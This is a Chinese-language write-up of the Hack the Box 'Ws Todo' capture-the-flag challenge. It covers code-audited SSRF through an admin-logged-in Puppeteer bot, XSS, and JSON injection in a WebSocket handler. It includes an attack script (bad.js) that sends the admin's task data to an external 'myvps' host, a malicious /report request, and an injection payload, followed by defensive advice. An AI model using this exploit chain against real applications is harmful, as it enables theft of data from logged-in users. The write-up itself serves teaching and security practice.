Hack the Box——Ws Todo
字数 985 2025-08-11 08:35:44
Hack the Box - Ws Todo 漏洞分析与利用教学
0x00 环境概述
题目提供了两个Web服务端口:
- TODO应用(主应用)
- HTML测试器(辅助应用)
0x01 漏洞发现
1. SSRF漏洞
在util/report.js中发现关键代码:
const LOGIN_URL = "http://127.0.0.1/login";
const visit = async (url) => {
const ctx = await browser.createIncognitoBrowserContext();
const page = await ctx.newPage();
await page.goto(LOGIN_URL, { waitUntil: 'networkidle2' });
await page.waitForSelector('form');
await page.type('wired-input[name=username]', process.env.USERNAME);
await page.type('wired-input[name=password]', process.env.PASSWORD);
await page.click('wired-button');
try {
await page.goto(url, { waitUntil: 'networkidle2' });
} finally {
await page.close();
await ctx.close();
}
};
漏洞点:
- 使用Puppeteer访问任意URL
- 访问前会自动登录admin账户
- 路由
/report可触发此功能
2. XSS漏洞
在HTML测试服务中发现:
http://178.62.8.249:31022/index.php?html=
html参数未过滤,可直接注入HTML标签。
0x02 漏洞利用链分析
目标分析
在WebSocket服务中发现关键代码:
if (userId === 1) {
quote = `A wise man once said, "the flag is ${process.env.FLAG}".`;
} else {
quote = quotes[Math.floor(Math.random() * quotes.length)];
}
- 只有admin账户(userId=1)才能获取flag
- report.js会自动登录admin账户
利用思路
- 通过SSRF让服务端Puppeteer访问我们构造的恶意页面
- 恶意页面通过WebSocket与TODO应用交互
- 获取加密后的flag数据
- 通过JSON注入获取解密密钥
- 解密获取flag
0x03 漏洞利用步骤
第一步:构造恶意JavaScript
在VPS上部署bad.js:
const ws = new WebSocket(`ws://127.0.0.1/ws`);
ws.onopen = () => {
ws.send(JSON.stringify({ action: 'add' }));
ws.send(JSON.stringify({ action: 'get' }));
}
ws.onmessage = async (msg) => {
const data = JSON.parse(msg.data);
if (data.success) {
if (data.action === 'get') {
fetch("http://myvps/" + JSON.stringify(data.tasks));
}
}
}
第二步:触发SSRF
发送POST请求到/report端点,URL参数指向我们构造的恶意页面:
POST /report
Content-Type: application/x-www-form-urlencoded
url=http://malicious-server/bad-page
第三步:JSON注入获取密钥
在wsHandler.js中发现漏洞代码:
await db.addTask(userId, `{"title":"${data.title}","description":"${data.description}","secret":"${secret}"}`);
注入方法:
- 构造特殊的description值:
desc","secret":"73c12045f8de028073fdbe7931f2ff86"}//
- 利用255字符限制截断无效JSON部分
完整payload:
ws.send(JSON.stringify({
action: 'add',
title: "1",
description: "111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111\",\"secret\": \"73c12045f8de028073fdbe7931f2ff86\"}"
}));
第四步:解密flag
使用获取的密钥调用解密接口:
POST /decrypt
Content-Type: application/json
{
"data": "加密的flag数据",
"secret": "73c12045f8de028073fdbe7931f2ff86"
}
0x04 防御措施
-
SSRF防御:
- 限制Puppeteer可访问的URL范围
- 使用URL白名单机制
-
XSS防御:
- 对用户输入进行HTML实体编码
- 设置Content-Security-Policy头
-
JSON注入防御:
- 使用参数化查询而非字符串拼接
- 对用户输入进行严格验证和转义
- 使用专门的JSON序列化库
-
权限控制:
- 避免自动化登录高权限账户
- 实施最小权限原则
0x05 总结
本案例展示了如何通过:
- 代码审计发现SSRF和XSS漏洞
- 利用Puppeteer特性访问内部服务
- 通过JSON注入绕过加密保护
- 构建完整攻击链获取敏感数据
关键点:
- Puppeteer的SSRF风险
- WebSocket的不受同源策略限制特性
- JSON注入的利用方式
- 数据库字段截断在注入中的应用